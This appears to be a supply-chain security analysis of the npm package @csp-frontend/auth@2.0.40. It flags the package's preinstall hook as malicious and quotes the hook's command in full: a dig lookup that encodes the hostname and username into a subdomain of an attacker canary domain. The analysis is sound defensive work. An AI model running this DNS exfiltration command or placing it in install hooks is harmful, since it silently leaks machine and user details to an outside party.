@csp-frontend/auth@2.0.40

Analysis

Critical finding: preinstall hook contains DNS exfiltration payload. The hook executes `dig +short "$(echo cf-$(hostname)-$(whoami) | base32 | tr -d '=' | rev).canary[.]rebind[.]fun[.]offensive[.]work"` which captures system info (hostname, username), base32-encodes it, and exfiltrates via DNS query to an attacker-controlled canary domain. This is a classic DNS tunneling technique for data exfiltration during npm install. Publisher email ([account]) matches the attack domain. Clear malicious intent - not a false positive.